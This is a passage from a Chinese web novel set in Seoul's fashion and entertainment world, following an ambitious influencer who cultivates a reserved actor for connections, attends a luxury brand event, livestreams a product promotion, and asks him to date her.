一线团的大势爱豆不管是为了撑场面，还是为了博取品牌的欢心，全身上下的穿搭，都基本上会是各种奢侈品拼凑。但这个团身上素的让人想笑，最大牌的居然是一条克罗心项链。 她撇了撇嘴，没什么兴趣地把脸转了回来，继续和cody沟通。 “我想要妆容风格偏恶女一些，像是富江这种。”她把漫画的图片拿给化妆师看，上一次画报拍摄的妆容她就很喜欢。 就算南韩不吃这种风格，但是她还是想尝试，悦人先悦己。 但是这个妆容需要晕染自然又显色的眼影、上挑又适合她眼型的眼线，这样的手法对于宋玉妍说难度有点太大了。 妆容开始之后，宋玉妍看着韩式的一字平眉有些不好的预感。 等水光肌的皮肤质感和太阳花一样的睫毛出来之后，她的面容已经沉下来了。 看着化妆师还想给她涂上ysl家被全知贤带火的星你色，简直要被气笑了。 宋玉妍推开cody想要过来帮她刷唇膏的手，“这化的和我给你的图有关系吗？” 她有些生气，就算是平拉的眼线让眼睛显得更加柔和，眼尾和眉毛还是高高翘起。 这家店的费用不便宜，一次造型要24万韩元，加上还给人主动带了冰美式。 对方就是这样敷衍她的！？ “我们经常给爱豆做妆造的，这可是最近超流行的果汁妆。”化妆师不但不想道歉，还妄图pua。 宋玉妍本来就不是脾气好的人，当即嗤笑了一声，抱着胸从椅子上站了起来。高挑的身姿加上高跟鞋的加持，足足高了这个化妆师半个脑袋。 “这种妆容我在家不能化吗？在你们店花了24万韩元，你就给我化这个？你们对爱豆的经纪公司也是这样强势？人家要梦幻的概念妆造，你给化个性感风？然后还和对方说这才是南韩流行？” 原本拍摄的手机被关掉了，香奈儿的小羊皮包被她重重地顿在化妆台上，把台子上的腮红、高光、眼影盘都挤到一边了。 店内不管是工作人员还是顾客视线都看了过来，这样的视线没有让她退却。 宋玉妍的语气嘲讽，盯着她继续说道：“什么时候南韩的流行风向由你们来决定了？不都是演员、爱豆、网红带火的吗？” 对面那个大型男团开始窃窃私语，“这位看起来性格很强势诶。” 忙内line：“她说的又没错，我们每次过来，cody态度都很冷淡。” “对啊对啊，而且明明我们团人数这么多，还是被排到红团后面。有的时候早上赶通告都来不及。” 崔盛澈看了两个弟弟一眼，里面暗含着警告。接受到队长的死亡视线之后，当即他们就嘘声了。 室长看到这里的突发情况连忙赶了过来，压着这个职员连忙鞠躬道歉。“切宋汉密达，确实是我们的问题，没有化过这样的妆容！你稍微 体谅一下，以后我们会多多改进的。” “我体谅？她耽误我的工作，谁来体谅我？化眼影的时侯我就说了，这个颜色是不是有点不符合，她！”宋玉妍手指指着这位化妆师，脸上满是生气、跋扈、无语。 “她当时和我说是因为没有晕染的结果，眉毛我也提出质疑了。” 这期视频的素材算是废掉了，消耗了一下午，花了冤枉钱，得到这样的结果，这怎么不让人心底的无名火一直在烧。 “宋玉妍xi？”旁边的男人做好发型转了过来，熟悉立体的五官，正是迟迟没有加上她kkt联系方式的李株赫。 看到是他，勉强压下心底怒火的宋玉妍转过身来，努力扯出一抹甜笑。“李株赫xi，你也在呀！” 轻盈的红色布料在空中划出一抹像羽毛那样精巧动人的弧度，浓烈的酒红衬得她皮肤白到发光。 她很适合这样秾艳的颜色，其实她一进来，李株赫就发现了，不知道出于什么样的心情，没有主动打招呼。 不自在地想要拨弄着自己的发型，想到才用摩丝定好型，他就只能把手指放下。 他看向美容室的室长，“这个妆容并不适合她，你们的交谈我也都听到了。如果是这样的态度的话，我会和杨社长反应，yg应该要重新考虑一下和你们美容室之间的合作了。” 坐在转椅上的男人语气慢条斯理，低沉的嗓音不带任何情绪的阐述事实，但是说出来的话不如他的语气那么平静。 他身上穿着的单排扣黑色丝绒礼服夹克，内搭真丝领巾罩衫。坐在那里，很平常地看了过来，浑身散发的气场不像是浑身散发着讨好感的艺人，更像是某个财阀家的儿子。 看了一眼李洙赫身上的意大利奢牌，宋玉妍低头看着自己身上从东大门淘来10万韩元的礼裙，黑发如同瀑布一样滑到耳前，心底更加坚定了要和他先绑在一起的决心。 不管是时尚资源、商务、人脉，还是其他，他都是目前最好的选择。更何况……他还有一张不俗的脸蛋。 把那些化为她往上爬的养分，等她变成上位者了，碰到这样的事情，也能镇定自若地稳坐钓鱼台，三言两语地让人主动道歉。 宋玉妍垂着眼眸，遮掩住自己眼神里的贪欲。 原本只是想道个歉息事宁人的室长听到这样的话很是憋屈，但又有些无可奈何。 李株赫的家世很神秘，据说和yg的渊源颇深，还是模特的时侯就能拿到旗下的影视资源。如果真的因为他的话导致和yg家的合作告吹，老板一定会毫不犹豫地炒了她。 “切宋汉密达，宋玉妍xi，要不这次给您免单？再送你一张会员专有的折扣卡，这样行吗？” 她看着对方把卡片递了过来，鎏金色的卡身在灯光的映照下更加夺目，反射出来的光几乎要晃花别人的眼睛。 宋玉妍用指尖夹着接过，脸上又换上了若无其事的笑容，心底的火却怎么都压不住。 “肯恰那。” 看到她接受了这样的处理方法，室长忍不住舒了一口气。 旁边出声之后的李株赫，坐在椅子上单手竖着支撑着下巴，浑身散发着上位者独有的淡漠、笃定。 仿佛对于宋玉妍来说很难堪的境况，在他眼底根本不值一提。 果然还是要做上位者才行，当你轻飘飘的一句话就能让人利益退让，这种感觉应该很不错吧。 她看着这张精致炫目的卡片，应该只有大公司和vip客人才能拿到。转身，当着室长、化妆师还有李株赫的面，把它掰断，随手抛到垃圾桶里。 第89章 第八十九章 一时间所有人都安静地看着宋玉妍的动作，美容室室长脸上流露出一种类似于困惑的表情。李株赫也歪着头安静地看着她，所有的cody都停下了手里的动作，看着这边的动静。 “应该不会再有第二次来的机会了。”宋玉妍仍然是那样一副言笑晏晏、嘴角的弧度纹丝不动的样子。 “花了钱的客人都得不到你们的一个笑脸，还是把这种卡送给你们觉得值得的客人吧。” 说完，她转身下楼出了店门。没到一分钟，她又转身回来，“把定金退给我！” 解决完之后，碰巧和李株赫一起出门，看着他精致的发型和考究的西装。 宋玉妍：“李株赫xi是要去参加活动吗？” “是的现代百货新开了一家G&D的精品店，有一个站台活动需要去参加。” 他外套应该是钉了手工的珠钉，一边说话，衣服上面的小水晶一边折射着光芒。 听到这里的宋玉妍眼睛一亮，这种品牌的站台活动，一般都聚集了名流显贵，ins上的粉丝都会很感兴趣。 当即她的眼波里是欲说还休的情态，夏风让她的雪腮边浮上了几缕碎发，指尖抚过耳如玉一样的耳垂，隐隐带着一点勾人的意味。 看向李株赫的眼神里满是渴望，微微下垂的狐狸眼和肉感十足的嘴唇增加努力一丝无辜的意味。“我能去吗？我想做你的女伴。” 颀长的身体一僵，他抿了抿薄唇像是在迟疑，思绪越来越混乱，几乎想要张口答应宋玉妍。 对上这样满眼都是他的眼睛，嘴巴就像是糊上了胶水，既不能开口拒绝，理智又告诉他不要答应。 主办方的邀请函上只写了他一个人的名字，这还是一个公开的活动。 宋玉妍从他与之前别无二样的神色中，还是看出了为难。只蠕动了一下嘴唇，垂下了眼眸，小扇子一样的眼睫毛像是失落的蝴蝶停靠着，最后她的脑袋往与他相反的地方歪了歪。 “我知道了。”她把两人原本并排的距离给拉开了，走的很缓慢，背影里透露着一股忧郁。 看着她的裙摆不如之前那般飞扬轻盈，就连酒红色都黯淡了几分。 李株赫只感觉自己的心脏像是被撕扯成了两半。一半不忍心看到她这样装出来的情绪低迷，一半又知道对方这般，表演的意味更多。 他站在阳光下，盛夏的太阳、厚重的西装都不能阻止身体发凉。 一向理智的人；在名利场游刃有余的人；从来都只是站在泥沼边，看着其他肮脏灵魂沉沦的人，有些痛恨自己此刻的犹豫。 在宋玉妍的背影马上消失的时侯，李株赫听到了自己的声音：“一起吧，不过红毯签名不能带上你。” 那样就太不像样了。 听到这话的人立刻飞奔而来，就算穿着10cm的高跟鞋也像是如履平地。 应该是太兴奋了，宋玉妍抱着他的手臂不放，西装的布料仿佛也不能阻隔她肌肤的触感。 像是不小心蹭到的融雪，也像是终于触到的冷玉。 停留了两秒之后，李株赫还是把手臂抽了出来，另一个手轻轻把她的身体拨开。 黑色的捷恩斯在路面上行驶，穿过了从葱郁树叶中破出来的眼光，从首尔的繁华地带驶向另一个繁华的地带。 “李株赫xi，我都不知道怎么感谢你好了，如果没有你的话，我可能这辈子都无法踏足这样的场合。” 和宋玉妍一起坐在后座上的男人，离她的距离足足还能够塞下两个人。他一上车就往后靠，打算闭目养神，拒绝交谈的意味很是明显。 但她主动开口，还是这样道谢的话，这让把绅士风度刻进骨子里的男人，不得不睁开了眼睛。 “没关系。” 看着他的正脸，宋玉妍才察觉到，原来他的眼睛单独拎出来也很好看。下垂的眼尾让他的眼神多了一丝真诚感，又浓又大的眼珠在阳光的折射下更像是墨色的琉璃珠。 看着他有些防备的肢体动作，她扫过对方的手腕，不打算进度把进度拉太快。 “我们什么时候开始拍摄ck的广告呀！”想听他用低音炮多说两句，这对她的耳朵很好。 “我经纪人应该会和你联系的，我把那张写你电话的卡片给他了。” 知道李株赫要和网红一起拍摄ck的运动内衣海报时，还是他主动推荐的，经纪人都觉得他疯掉了。 yg新出的女团正是需要高奢打开名气的时侯，这份肥水最后还是流了外人田。 “这样啊。” 像是想到了什么，李株赫把视线放到了她的脚上。纤细的脚踝被一圈水晶裹着，显得白皙而又脆弱，黑色的的鞋面让她的肌肤呈现出一种积雪的质感。 他看了好几眼，每次瞟过去视线又很快地缩回来。第一次定格在身边人的肌肤上，但后面好几次都是停在 鞋上。 像是看出了他的欲言又止，宋玉妍说：“是有什么问题吗？” 直接问的话不太礼貌，他在心底反复斟酌了好几次语句，最后才把所有的词语串了起来。“你这双jimchoo应该是在旗舰店买的吧。” 李株赫倒不是以一种高高在上的姿态在俯视她，体现自己的优越感。而是出席时尚活动，如果被人看出穿非正品，以后会被整个时尚界拉入黑名单。 像是知道他的顾虑，宋玉妍摸了摸自己只带了一边的蛇形耳环。“当然，仁川机场还有我的购买记录。” 他颔首，然后低着头在手机屏幕上点了点。 “你先拿着我的邀请函过去吧。”今天来了很多大牌的艺人，前面靠近入场的地方估计会被堵的水泄不通。 李株赫也不是很想和她在公开场合扯上关系。对于像他这种不喜欢把私生活暴露在公众面前的演员，和网红联系在一起意味着麻烦。 尤其是入伍在即，越是这个时候，就越容易被网友挑错。稍有不慎，等到他的就是一场网暴。 “内。”虽然宋玉妍面上乖巧地答应，心底还是有些失落的。不能一起公开露面，也不能一起走红毯，这就意味着没有曝光。 还好到时候进入内场之后，可以多拍拍照片，这样的活动很多粉丝也应该爱看。 她对自己的粉丝画像把握的很精准，有时间、有点小钱的女大学生和追求小资生活的城市女白领。 她们有一定的消费能力，能够负担她账号里推广的那些美妆、香薰产品，同时又对更高端的生活有一定的好奇。 “宋玉妍xi，你先来一下这边。” 李株赫的助理把人先带到商场的vip休息室。示意她先在真皮沙发上稍微坐一下，商场提供的下午茶还摆在光滑如玉的矮桌上。 助理抱进的礼盒，本来宋玉妍坐着百无聊赖地玩着手指，对桌上的甜品兴趣缺缺。 贵宾室、包装精美的礼盒很能激发起人的虚荣心。她还是安之若素，注意力虽然在助理身上，但身体丝毫没有动。 助理让她自己把礼盒打开后，一件G&D的亮片礼服连衣裙映入眼帘，很派对风。 “你先试一下，如果不合适的话我再去换一件。” 拿着这件裙子进入试衣间之后，她并没有急着换，而是用手摸了摸它上面的亮片。蹭到自己身上这条裙子后，她的眼底划过一抹嫌弃。 果然选择李株赫真的是再正确不过的决定了，这样的裙子她要接两个月的推广才能买下来。 裙子的色系和身上的这一件一摸一样，他甚至还考虑到了妆容、饰品的搭配。 何况他帅气、多金、出手大方、情绪稳定、贴心，宋玉妍默默在心底细数着他的优点，决定等会对他笑得再甜蜜一点。 她好像还缺一个大房子，江南区的地段很不错。就是全租房需要的保证金太多了，月租的租金又太高了。 等换好之后，她顺便给嘴唇描上纪梵希的N37号色，蓝调的正红和她很适配。 换好之后，宋玉妍散着头发走出试衣间时，助理看愣了一瞬间，她终于知道自家艺人为什么这样上心了。 红色为她眼底若隐若现的野心增添了艳色，妩媚中透露出向上的生命力，比她美貌更加又吸引力的是那一份不可捉摸的气质。 助理拿出自己挑好的两副耳环，“这个黑色十字架吊坠是他们品牌的标志性宗教元素，这副巴洛克珍珠耳环上面有他们品牌的logo，你看你更喜欢哪一个？” 这样细微的安排明显就是助理自己的处理了，宋玉妍看着她心中很满意，按耐住自己想要问她年薪的冲动。 指尖划过黑色的十字架，最后定格在那副水晶珍珠耳环前。 拒绝她帮忙戴的好意之后，宋玉妍自己把耳环戴上，感觉她整个人的气质都不太一样。果然就算是十分的美貌，也需要珠宝华服来装点。 入场之后，她先拿着香槟在场内巡视了一圈，这个点基本上都是些红毯比较前的爱豆。 如果是之前，宋玉妍还会有兴趣上去合照，然后放在ins上蹭蹭她们的流量，但今天就没有必要了。 拿着手机在感兴趣的商品前拍一拍，然后看着标价后面的零，感觉她的眼睛被刺痛到了。 逛了之后，找到一个角落的位置，一边等后续的名流和咖位大的艺人，一边时刻注视着入口处。 等李株赫进场之后，看到的就是自己女伴拿着香槟和别人交谈时言笑晏晏的样子。她的姿态很舒展，红色亮片裙也很适合她，嘴角的笑容也是不卑不亢的。 再看一眼时，觉得有些不太对劲，宋玉妍怎么和他前女友的前男友的女朋友坐在了一起？！ 第90章 第九十章 宋玉妍和林世龄是怎么搅在一起的？李株赫怕人吃亏，连忙迈着大步伐往她那边赶。 虽然大象集团今时已不同往日，但能撬动的资源也是普通人无法想象的。财阀到底还是财阀，就算落魄了，那也是韩国经济输血管里的大动脉。 更何况这位还是狠角色，前任三星太子妃。她分走了现任三星掌门人的财产，现在居然还能安安稳稳地坐在韩国金字塔尖。 不知道是因为慌张，还是因为走得太急促了，李株赫的呼吸乱了。 等他走进之后才发现，两人之间的气氛居然还不错，宋玉妍似乎……很能讨这位的欢心。 他和林世龄在各种时尚活动上有过几面之缘，当下打过招呼之后疑问地看着宋玉妍。 “不是说要去拿一点甜品吗？怎么跑这里来了？” “本来是想去甜品台的，结果我不小心撞到了林世龄xi，随口交谈了两句。”她眉眼弯弯，笑容甜地像是一块香软滑腻的红丝绒蛋糕。 李株赫只觉得不喜欢她这样的笑容，他更喜欢她微微垂着一点头，用上目线冷漠看人的样子。或者是眼睛里跳动着欲望，整个人呈现出一种野蛮的生命力。 每次看到宋玉妍做作的甜笑，他都有种想要把她唇线扯直的冲动。 一旁的林世龄只觉得这个小网红很有意思，明明是她先失手把酒浇到对方的鞋上，对方却把过错都揽到自己的身上。 “我在和这位小姐讨论鞋子，想要送一双给她，但她好像不太喜欢G&D这个品牌。” “他们家的鞋子最近做得又俗气又难穿，也只有13年的那个莲花的那个系列好看。” 听到她这样说，林世龄来了兴趣，她对这个品牌都可以说是毫无兴趣。如果不是今天参加这个活动，她都不会踏入这个品牌的店面，风格实在太浮夸。 而宋玉妍一边吹捧对方几句，一边不着痕迹地说了说这个意大利奢牌的历史、风格、优秀的作品。 看到对方满意的笑容后，她在心底长舒了一口气。幸好有多个世界的积累，加上之前看到李株赫的通告单上的行程，看到这个品牌时，连夜把能搜集到的资料都给背了下来。 两人话题的内容逐渐开始发散，从这个品牌到最近的时尚风潮，再到各种香槟、红酒的品尝…… 不管林世龄的话题是什么，她都能接上一二。这让对方的谈性更浓了，难得碰到这样能和她聊得来的女性。 李株赫只看着她端着酒杯，黑发都被拨到另一侧的肩膀上，脸上甜蜜的笑容完全看不出谄媚感。宋玉妍就这样紧绷又松弛地站着，就像是一团柔软的火云，缱绻温柔的声音是他从未听过的。 这样的浑身发着光的宋玉妍，让他只听到胸腔传来的震动声，让人头晕目眩。 丝绒夹克前的真丝领巾也随着心脏跳动的节奏，在微微颤抖着。 李株赫紧紧地攥着靠近心脏的左手，摁住自己身心双重冲动。呼吸又深又急促，仿佛这样能让心脏安分一点，不要每一下都撞到嗓子口。 “怎么在这里这么久？”李 正宰等自己的女朋友等了很久，见人还没有来主动找了过来。 宋玉妍和李株赫两人同时回头看了一眼，前者划过他手上的女士手包，意味不明地挑了挑眉毛。 后者只觉得自己加快的心跳被打断了，回到了平时跳动的频率，但他知道这是因为烦躁。 他和李正宰都是金珉喜知名的前男友们，加上又是前后任的关系，媒体总是看热闹不嫌事大，把两人拿出来比较。 从长相到家世再到娱乐圈地位，可偏偏李株赫在影视圈三番五次碰壁，事业上确实不如对方。 “和一位有趣的小朋友多聊了一会。”林世龄看着她，矜持地用眼神示意，让男伴从手包里把助理的名片拿一张出来。 “后面有机会可以多聊聊，有需要可以找我。” “内！”宋玉妍当然不会拿人家的客气话当真，能得到一个联系的方式已经是意外之喜了。要是真的让人帮忙解决麻烦，那就是她不懂事了。 等那两位走远之后，李株赫想说：如果想要什么资源可以和他说，但话到嘴边还是咽了下去。 好半天才他发问道：“怎么会想着和这位交谈起来？”一边说，一边拿着酒杯放在唇边遮掩，像是不经意地随口一问。 她把香槟随手放在香槟塔旁边，把发丝往耳后拨弄，耳边水钻下的珍珠轻轻摇曳。 “刚来到首尔时，我就想和有钱人家的女儿做闺蜜。” “为什么？” “因为不想应付那些又老又丑的男人，有一个有钱的闺蜜的话，友情的慷慨有的时侯比爱情有意思多了。” 宋玉妍想到当时自己的想法，就被逗得轻轻笑了起来，身体也随之轻轻前倾。 李株赫几乎是第一次看到她这样真心实意的笑容，不是那种挤出来带着目的甜笑，也不是意味不明的冷笑，更不是故作惊讶的笑容。而是从心底散发出来的喜悦。 他的手指微微蹭着郁金香型的香槟杯的杯梗，这样的笑容如果能多停留一会多好。 “我带你去见evechow吧。”既然她想要往上爬，那他送对方一段登云梯吧。 这位美籍韩裔在南韩时尚圈有着很深的影响力，和很多财阀家族都交好，她创办的电影艺术盛典和metgala齐名。 听到这位的名字，宋玉妍脸上的笑容果然更加真心了，用眼睛湿漉漉地看着他，显得更加的明媚多情。 “真的吗？” 李株赫矜贵的点了点头，颇受时尚圈追捧的脸此刻也没有丝毫的神色变化。此刻他的每一个毛孔，都像是裹在青柠的气泡水中，舒服让身体发软。 把人引见过去的时侯，看着宋玉妍落落大方地和人交谈，李株赫的视线完全没办法从她身上挪开。 不管是率意而为还是现在游走在名利场里的她，这样零碎的性格碎片，被他一一拾掇起来，放在秘密深处，静静欣赏。 回去的时侯，李株赫本来只想把人送回家，没有想到宋玉妍抓着他的手腕不放。 她的手指素白接近透明，只有指尖上的一抹艳色浸染在上，虚虚握住，并没有用多大的力量。但就是莫名让人挣脱不开，如同细小的藤蔓一般。 “李株赫xi，其实在车上我就想说了，手机。” 她的另一个手理直气壮地朝他伸手，看到男人磨磨蹭蹭的样子，像是有些不耐烦了，掐着他手腕的手多用了几分力道。 “快点呀！”又指了指他的裤袋。“我要加你的联系方式，加你经纪人的有什么用？” 看着卷发遮掩了她白皙的面颊，宋玉妍因为明艳而光彩夺目，在夜幕下像是一朵富含生气的虞美人。 李株赫的手指探入内衬的布料中，捏紧那冰冷的金属机器，想要冷静下来，从那份凉意上汲取一点力量。 最后还是抽出，让她如了愿。 他在时尚圈的人脉都给人介绍了，也不差这一个联系方式了，大不了少和她联系。 看着他把手机递过来之后，宋玉妍露出踌躇满志的笑容。人的底线，就是这样一步一步往后退让的。 用李株赫的手机给她的号码拨打了一个电话，然后又点开ins看着他的大号，本来想直接用大号点关注的。 宋玉妍的手指都摁下去了，但还是立马取关了。 切换到小号lxxsxxhkkk，让这个账号通过她的粉丝申请。对于他的小号来说，粉丝的含金量可比他主动关注的含金量高多了。 做完这些宋玉妍把黑色的三星手机还给他，然后自己走入夜幕中。“李株赫xi，我自己回去好了，不用麻烦你了。” 反正这里离圣水洞不远，等人走远之后，她之前举起来细白的手臂，修长又秀婉印在了他的脑海。 李株赫忽然有些烦躁地扯了扯自己领巾，拒绝了助理帮忙打开着的车门。 他给自己点上了一根香烟，烟雾模糊了他立体的五官，只有夜色在他身边流淌。不合时宜地想到了那天晚上宋玉妍在酒吧给人点烟，纤细柔嫩的手指、丰润多汁的软唇。 如果……是说如果，两人在一起之后，她也会那样对他吗？ 随后李株赫把只燃了半截的烟身掐灭了，火星被碾灭在冰凉的金属片上，彻底熄灭后那一丝遐想旖旎也被摁在心底。 他早就知道宋玉妍是性转版的那喀索斯不是吗？除了她自己，恐怕谁都不爱。 等回到家之后，她把今天拍摄的照片一部分贴在ins主页上，一部分放到快拍里。拿出品牌方寄过来的卸妆水，准备直播的时侯开始推广一下。 她是品牌方最喜欢的那一类的乙方，对待工作不敷衍了事。 就算现在的粉丝数上来了，也是尽全力去推广产品。 等她把所有的东西都准备好，卸妆水摆在最前面之后，她打开手机摄像头。所有的布置都是精心调整过的，能最大程度地呈现出她的美貌，也能让人一眼看到卸妆水的logo。 刚开始直播的时侯，只有200个观众，但是有些发现李株赫小号的粉丝多了一个，而她的ins关注恰好多了一个。 宋玉妍又没有设置限制，不让陌生人看她ins关注的账号。 看到她关注了李株赫的小号，下面就有粉丝在问两人之间的关系。 “我和李株赫xi的关系？”一开播，宋玉妍就看到了这个评论，往镜头前凑了过去，就算是死亡的苹果后置摄像头，皮肤也不见丝毫毛孔。 “这你们还是去问yg的公关部比较好。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 90-100 第91章 第九十一章 宋玉妍手指一边拨弄着卸妆水，让人不自觉地顺着他的指尖，把目光放在卸妆水上。一边继续说道：“到时候我说两人是好朋友，你们要说我蹭，我一个糊咖怎么配和他一起玩。” “我说两人没有关系，又要骂我茶，什么都关注了他的小号，还说不认识。我要是承认所谓的绯闻，那更不得了，要开始骂我勾引你们快三十岁了还依旧单纯、天真的欧巴。” 一边回应，她看着不断上升的观众人数，觉得有些亏了。 品牌方才花了240万韩元，就能获得性价比这么高的回报，看来她对外广告的报价还得往上提一提。 毕竟现在都是50万粉丝的网红 了。 一进来吃瓜的路人和李株赫的粉丝听到这话，震惊地评论区都空了几秒。 宋玉妍这是在茶她们？什么话都让她说了，他们还能说什么？ “所以啊！我们两个之间的关系就看yg怎么定义，他们说是亲故那就是亲故咯。” 说完宋玉妍不管评论区的纷纷扰扰，直接伸手拿着一瓶卸妆水，一边上脸一边介绍产品。 “这款ava的卸妆水很温和的，我只是随便擦一擦，脸上也不会有刺痛感。”她用卸妆水把洗脸巾打湿，然后随后上脸，手法有些粗糙地在脸上擦拭着。 宋玉妍身上还是之前那件红色亮片裙，香肩在乌发的轻扫下若影若现，整个人在镜头里显得美艳不可方物。 她就松弛地坐在自家的沙发上，就算是再不喜欢她的人，也没有办法对这副皮囊挑出瑕疵。 看着她把自己的洁白如玉的脸颊上都擦出了红痕，评论区有人终于忍不住了，怎么能这样暴殄天物，对待这张脸？ “欧尼，你别直接擦，这样对皮肤屏障不好。先在脸上停留半分钟后，再擦拭。” “这样啊。”宋玉妍看到这个评论之后很听劝，之后都是按照她说的方法在脸上卸妆。 她一边卸一边继续介绍道：“这个卸妆水的卸妆能力很强的，我那样粗劣的手法都可以卸的很干净。” 她一边说一边把自己的脸凑近镜头，不断地摇晃着自己的脑袋，示意大家看脸上卸妆的效果。 卸完妆后，她的皮肤白净细腻，比上了底妆的效果还要好。 看着直播的观众虽然都知道，这是因为宋玉妍本来长的好看，和卸妆产品没有什么关系。但还是忍不住沉沦在一声声甜甜的欧尼中，打开搜索软件准备吃下这份安利。 “而且卸完还有淡淡的石榴味，一点都不刺鼻，卸完之后也没有紧绷的感觉。欧尼们的脸蛋也要好好卸妆哦！可不能敷衍。” 说完她去浴室把脸给洗了，回来之后碎发上沾染的水珠顺着发梢往下淌。 直播间里的流量高峰已经过去了，之前问和李株赫的绯闻的时侯，可是足足有5000个人在。 看了看时间，已经播了30分钟了，准备再过10分钟就把直播给关掉。宋玉妍看着评论区有关产品的问题都在好好回答，看到很多夸她耶啵的评论更是让她心花怒放。 这让她一声又一声的欧尼，叫得更加甜了。 看到有人说李株赫的经纪公司发布声明了，宋玉妍在直播间光明正大地拿出了备用机。知道直播间的观众都在吃瓜，不会有人在意这样的细节。 她一边点开yg的官网，一边惊讶地说道：“今天是周末，他们公关部居然也上班吗？” 短短的声明，宋玉妍读出来的时侯都觉得好笑，“什么这是艺人的私人领域、属于艺人的私人生活。翻译一下，这意思就是yg他们也不知道。” 看到直播间的人数又重新上涨，她都快要绷不住笑意了，“也不知他们公司的公关部还招不招人，没有业绩的压力，回复的模版随心所欲，好想去那里上班。” 听到这样的话，yg家的粉丝倒是感同身受，毕竟自家公司出了名的澄清不行、倒油第一名。 没一会，#yg公关部的词条，就被刷上了韩世趋第五。比两人排在末尾的绯闻词条，高了整整一个屏幕。 睡一觉醒来发现原本50万的粉丝翻了一番，虽然很多都是被世趋词条吸引而来的乐子人。 但更多的一部分女性，还是被主页里宋玉妍的真诚、自由、松弛的状态所吸引。 能够蹭上yg，还吃上他们公司的红利，这让她很是心满意足。把原本昨天直播的时候准备上提的广告报价划掉，准备一条500万。 拍摄ck海报的这天是夏日的一个暴雨天，充盈湿润的水汽像是要黏在人的皮肤上，天空也是迷蒙暗沉的。 宋玉妍支起了伞，避开水坑，雨珠侧着打湿了她的白衬衫。隐隐约约地透出来一点肉色，透明的布料黏粘在身上。 等到了固定的摄影棚，她没有急着进去。而是先站在走廊上，她把伞收好，雨滴顺着伞身滑倒伞尖，最后顺着甩落的动作，重新回到潮湿的天地。 一双干爽的黑色切尔西靴闯进她的眼眸中，光滑的鞋面映照着这片世界，踩在粗糙的灰色水泥地面上像是要把浅水坑划成两边。 短短的三五步路，李株赫的鞋面上也沾染上了水丝，不复下车时一丝不苟的光泽。助理帮他撑着伞，应该是才结束一场活动，所以西装革履。 银灰色衬衫很适合他，掠过去的身影，好像没有注意到宋玉妍。 李株赫看到自家公司和她那天的直播，不得不承认，对方比起他这个人，应该更喜欢他带来的资源。 就连关注他的ins小号，也只是为了炒作绯闻，达到涨粉的目的罢了。无数次，他的手指点在小号的粉丝列表上，想要把她移除。但最后，还是手指都犹疑了。 原本打定注意少和宋玉妍联系，但这几天无论是kkt还是ins，对方真的没有给他发消息，这让他心底像是堵了无数块石头。 从她身边擦过去时，浓烈的辛辣味道、橙花混合着从发梢上滴下来的水汽，组成了专属她现在的味道。 黑鸦片的味道他也在很多人身上闻过，只是……没有一个人能喷出她这样独特的感觉。 对方装作没有看到她，那宋玉妍更加不可能现在主动了，前面就是故意晾着他的。 转身去专属的化妆室，把妆容画好，就是发型让人很是犯难。最后cody还是选择把她的卷发松松地扎起来，随便一扯都能散落的那种。 换上内衣之后，宋玉妍跟着指引去摄影拿着网球拍，不管是什么样的姿势都不能让摄影师满意。 对于裸露大半部分身体，这点她倒是不太介意，工作而已。 更何况ck给的报酬足够，最后摄影师还是让她换上了和胸衣同色的灰色的工装裤，让她侧着身体转着看向镜头。 眼睛里满是野心，双手捧散落的头发。ck的内裤边和胸衣完美勾勒出她侧腰优美的曲线，不是干瘦，和白皙的肌肤形成反差的是侧腹上的马甲线。 这个pose，让掌镜者觉得有点感觉，但还是觉得少了点什么。 把网球拍弄断，让宋玉妍踩在脚下，散落的网球布满了整个摄影棚。 “好，就是这样。”原本以为网红的肢体会很僵硬，没想到出来的效果意外的好。 等这组广告大片一出来，看来首尔的健身房又会迎来一大波客户，开始卷身材。 等拍摄完成之后，宋玉妍还有些懵，她把散落的头发扎好。 “不用拍双人的海报吗？”她撇了撇嘴，感觉计划有些被打乱了，还想和李株赫更进一步地接触呢。 “当然不会了。”摄影师好笑地看着她，但听说她是李株赫推荐的，想来两人私下的关系很是不错。给她指了对方的休息室，“他是很有名的模特了，那边应该更早结束了。” 道谢后朝着对方指的方向过去，踩在坚硬的瓷砖上，滑滑的触感让她的前脚掌更加用力。 宋玉妍走到对应的门前，屈起手指故意很轻声地敲门，敲门声被雨声吞没了。 下一次敲门时，声音更大一些，门内的人，以为是助理。 “进。” 他像是才进来，看来并不想那位摄影师说的那样，对于拍摄从容不迫地完成了。 男人侧着头看向窗外，双手反撑在桌子上。上身只有一件宽松的夹克，没有扣，ck的标识在腹肌下方卡在胯部一圈。 宋玉妍扫过他的紧实的肌肉，随着呼吸的节奏慢慢不断抽缩。侧腹上的人鱼线像是雕塑家应用石刀用力凿刻出来的，她瞟了瞟自己的侧腹，痕迹清浅。 “怎么是你？”李株赫连忙把身上的夹克拢紧，眉头紧缩，眉峰像是尖利的利箭。看向她的目光并不温柔，短圆眼的眼头眯起，这让他眼睛的形状和宋 玉妍的很相似了。 如果不是看到他不自觉朝向她的鞋尖，不自在的手指一直在摩挲着衣料边缘，她也会被这样冷淡的态度给蒙骗过去。 宋玉妍把门随手关上，走了过去，轻轻一跳，坐上了窗台边的桌子。 她挨他挨的很近，侧腰上的肌肤碰到了夹克的布料，顺着动作摩擦了几下。 看着窗外细雨，李株赫只觉得水汽顺着缝隙贴到他的身上，黏稠、带着凉意。室内的气氛像是夏日雨天的闷热给浸透了，这让他的身体很不适。 宋玉妍主动抱住他的手臂。雪白的肌肤就在他的面前，这让他的呼吸屏住了。下一句话更是让人缺氧。 “李株赫xi，我们交往吧。” 这就像是一道闷雷轰得他头皮发麻，又像是刚刚贴上来的水汽，不断挤压着他身体里的血液。 第92章 第九十二章 冷寂、潮湿的水汽堵住了他的鼻腔，半边脸藏在阴翳里，像是一尊没有生气的雕塑。 “和你交往？我能得到什么？”在竭力的控制下，李株赫听到自己声音平静而磁性。 语气没有起伏，这样听起来更像是诘问。但只有他自己知道，心脏因为她的话语而砰砰直跳。 无力、憋闷、惆怅的情绪将他席卷。他清楚地知道宋玉妍不是因为喜欢，而主动表白。 她想从他身上拿走资源、人脉、金钱，榨干了他的价值之后。 等待他的会是什么？被她一脚踢开吗？弃之如敝履？ “李洙赫xi，”宋玉妍的手指微微张开，分别贴到了他两边的下颚线。柔软的掌心放在他的坚硬处，像是刚削了皮，鲜嫩的桃肉。 “我能带给你独一无二的恋爱体验。”她的眼睛湿润又澄澈，看向他时满是认真和专注。 没有爱意！唯独没有爱意！ “和金珉喜分手后，你应该再也体会不到那种感觉了吧。那种心脏为一个人疯狂跳动，目光只为她一个人汇聚的感觉。” 